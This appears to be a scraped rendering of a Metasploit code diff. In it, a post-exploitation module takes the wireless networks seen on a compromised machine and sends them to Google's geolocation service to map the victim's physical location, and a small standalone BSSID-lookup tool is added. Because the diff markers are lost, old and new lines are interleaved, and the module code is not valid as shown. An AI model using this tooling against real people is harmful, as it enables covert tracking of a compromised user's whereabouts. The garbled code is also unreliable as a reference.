||||
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||
return
|
||||
end
|
||||
g = Rex::Google::Geolocation.new
|
||||
|
||||
# Build and send the request to Google
|
||||
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
|
||||
uri = URI.parse(URI.encode(url))
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
http = Net::HTTP::new(uri.host,uri.port)
|
||||
http.use_ssl = true
|
||||
response = http.request(request)
|
||||
wlan_list.each do |wlan|
|
||||
g.add_wlan(*wlan)
|
||||
end
|
||||
|
||||
# Gather the required information from the response
|
||||
if response && response.code == '200'
|
||||
results = JSON.parse(response.body)
|
||||
latitude = results["location"]["lat"]
|
||||
longitude = results["location"]["lng"]
|
||||
accuracy = results["accuracy"]
|
||||
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
|
||||
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
|
||||
begin
|
||||
g.fetch!
|
||||
rescue RuntimeError => e
|
||||
print_error("Error: #{e}")
|
||||
else
|
||||
print_error("Failure connecting to Google for location lookup.")
|
||||
print_status(g.to_s)
|
||||
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -125,9 +114,9 @@ class Metasploit3 < Msf::Post
|
|||
else
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
platform = 'osx' if platform =~ /darwin/i
|
||||
end
|
||||
|
||||
|
||||
case platform
|
||||
when /win/i
|
||||
|
||||
|
@ -214,10 +203,10 @@ class Metasploit3 < Msf::Post
|
|||
return nil
|
||||
end
|
||||
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# This tool asks Google for the location of a given set of BSSIDs
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'rex/google/geolocation'
|
||||
require 'optparse'
|
||||
|
||||
if ARGV.empty?
|
||||
$stderr.puts("Usage: #{$PROGRAM_NAME} <mac> [mac] ...")
|
||||
$stderr.puts("Ask Google for the location of the given set of BSSIDs")
|
||||
$stderr.puts
|
||||
$stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}")
|
||||
$stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
g = Rex::Google::Geolocation.new
|
||||
ARGV.each do |mac|
|
||||
g.add_wlan(mac, nil, -83)
|
||||
end
|
||||
|
||||
g.fetch!
|
||||
|
||||
puts g, g.google_maps_url
|
Loading…
Reference in New Issue